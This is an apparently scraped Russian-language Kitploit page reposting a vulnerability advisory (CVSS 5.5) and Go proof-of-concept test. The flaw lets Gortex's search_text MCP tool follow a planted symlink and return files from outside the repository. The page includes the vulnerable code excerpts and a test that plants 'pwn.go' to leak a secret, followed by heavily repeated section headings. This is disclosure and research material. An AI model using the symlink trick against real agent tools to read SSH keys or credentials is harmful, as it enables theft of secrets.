gortex-PoC — PoC — переход по символической ссылке к раскрытию содержимого за пределами репозитория через search_text в Gortex (GHSA-6vhf-4wcm-2r83, CVE-2026-87003, CVSS 5.5). | Kitploit

AV:L — соответствует собственному прецеденту оценки данного проекта для его MCP-поверхности (GHSA-w42c-h7hr-f67p также использовала AV:L): развёртывание по умолчанию — это локальный MCP-демон, доступный через stdio процессу агента на том же хосте; AV:N применялся бы только к опциональному режиму --http-addr.
UI:R — требует, чтобы MCP-клиент (LLM-агент или человек через gortex call) выполнил вызов search_text / search_text regexp:true. Широкого литерала (например, одного распространённого символа) или совпадающего регулярного выражения (.) против индексируемого репозитория, содержащего внедрённую символическую ссылку, достаточно для выгрузки целевого файла — секретного знания о его содержимом не требуется — так что это низкий порог, но это отдельное действие, отличное от простого индексирования.
C:H — раскрытие содержимого произвольных файлов, не ограниченное границами репозитория, всего, что может прочитать OS-пользователь демона (SSH-ключи, файлы облачных учётных данных, репозитории соседних арендаторов в многорепозиторном демоне и т. д.), возвращаемое дословно в ответе инструмента.
I:N / A:N — это чистая ошибка пути чтения; ничего не записывается и не становится недоступным.

err = filepath.WalkDir(absRoot, func(path string, d os.DirEntry, err error) error {
    if err != nil { return nil }
    if d.IsDir() {
        if idx.shouldPruneDir(path, absRoot) { return filepath.SkipDir }
        return nil
    }
    lang, ok := idx.effectiveLanguage(path, nil)   // detects by extension; symlink name is enough
    if !ok { return nil }
    if idx.shouldExclude(path, absRoot, false) { return nil }
    info, statErr := d.Info()                      // Lstat'd DirEntry.Info() — no ModeSymlink check
    ...
    files = append(files, walkedFile{path: path, lang: lang, size: info.Size(), mtimeNano: info.ModTime().UnixNano()})
    return nil
})

content, err := os.ReadFile(filepath.Join(root, filepath.FromSlash(rel)))  // Build — follows symlink
...
f, err := os.Open(filepath.Join(s.root, filepath.FromSlash(rel)))          // Grep/GrepRegexp — follows symlink

$ CGO_ENABLED=1 go test ./internal/mcp/... -run TestPoC_SymlinkFollow_SearchTextDisclosesOutOfRepoContent -v
mcp [build failed]
  cgo: C compiler "gcc" not found: exec: "gcc": executable file not found in $PATH

func TestPoC_SymlinkFollow_SearchTextDisclosesOutOfRepoContent(t *testing.T) {
	outsideDir := t.TempDir()
	secretPath := filepath.Join(outsideDir, "secret.txt")
	const secretMarker = "GORTEX-POC-SECRET-OUTSIDE-REPO-9f3a1c"
	os.WriteFile(secretPath, []byte("BEGIN OUTSIDE-REPO FILE\n"+secretMarker+"\nEND OUTSIDE-REPO FILE\n"), 0o600)

	repoDir := t.TempDir()
	os.WriteFile(filepath.Join(repoDir, "main.go"), []byte("package app\n\nfunc Hello() {}\n"), 0o644)
	os.Symlink(secretPath, filepath.Join(repoDir, "pwn.go"))   // symlink INSIDE repo -> OUTSIDE target

	idx := indexer.New(g, reg, cfg.Index, zap.NewNop())
	idx.Index(repoDir)                                          // walk admits pwn.go, no symlink check
	srv := NewServer(eng, g, idx, nil, zap.NewNop(), nil)

	res := callTool(t, srv, "search_text", map[string]any{"query": secretMarker})
	// asserts: res.IsError == false, exactly 1 match, Path == "pwn.go",
	// Text contains secretMarker — i.e. the OUTSIDE file's real content.
}

Исследователь	Dostxodjayev Abdullox (@squeeze440)
Рекомендация	GHSA-6vhf-4wcm-2r83
CVSS 3.1	5.5 (Средний)
Слабость	CWE-59, CWE-200

gortex-PoC

Популярное

Следование по символическим ссылкам при обходе файлов индексатором → Раскрытие содержимого за пределами репозитория через `search_text`

Краткое описание

Продукт

Протестированная версия

Оценка CVSS v3.1

Детали

Первопричина 1 — обход индексатора никогда не проверяет записи файлов, являющихся символическими ссылками

Первопричина 2 — приёмник `search_text` перечитывает живые файлы без проверки ограничения

Проверка на дублирование риска / отличимость

Доказательство концепции

Влияние

Слабости

Исправление

Благодарность

Канал отчётности

gortex-PoC

Популярное

Следование по символическим ссылкам при обходе файлов индексатором → Раскрытие содержимого за пределами репозитория через search_text

Следование по символическим ссылкам при обходе файлов индексатором → Раскрытие содержимого за пределами репозитория через search_text

Краткое описание

Продукт

Протестированная версия

Оценка CVSS v3.1

Детали

Первопричина 1 — обход индексатора никогда не проверяет записи файлов, являющихся символическими ссылками

Первопричина 2 — приёмник search_text перечитывает живые файлы без проверки ограничения

Проверка на дублирование риска / отличимость

Доказательство концепции

Влияние

Слабости

Исправление

Благодарность

Канал отчётности

Следование по символическим ссылкам при обходе файлов индексатором → Раскрытие содержимого за пределами репозитория через `search_text`

Следование по символическим ссылкам при обходе файлов индексатором → Раскрытие содержимого за пределами репозитория через `search_text`

Первопричина 2 — приёмник `search_text` перечитывает живые файлы без проверки ограничения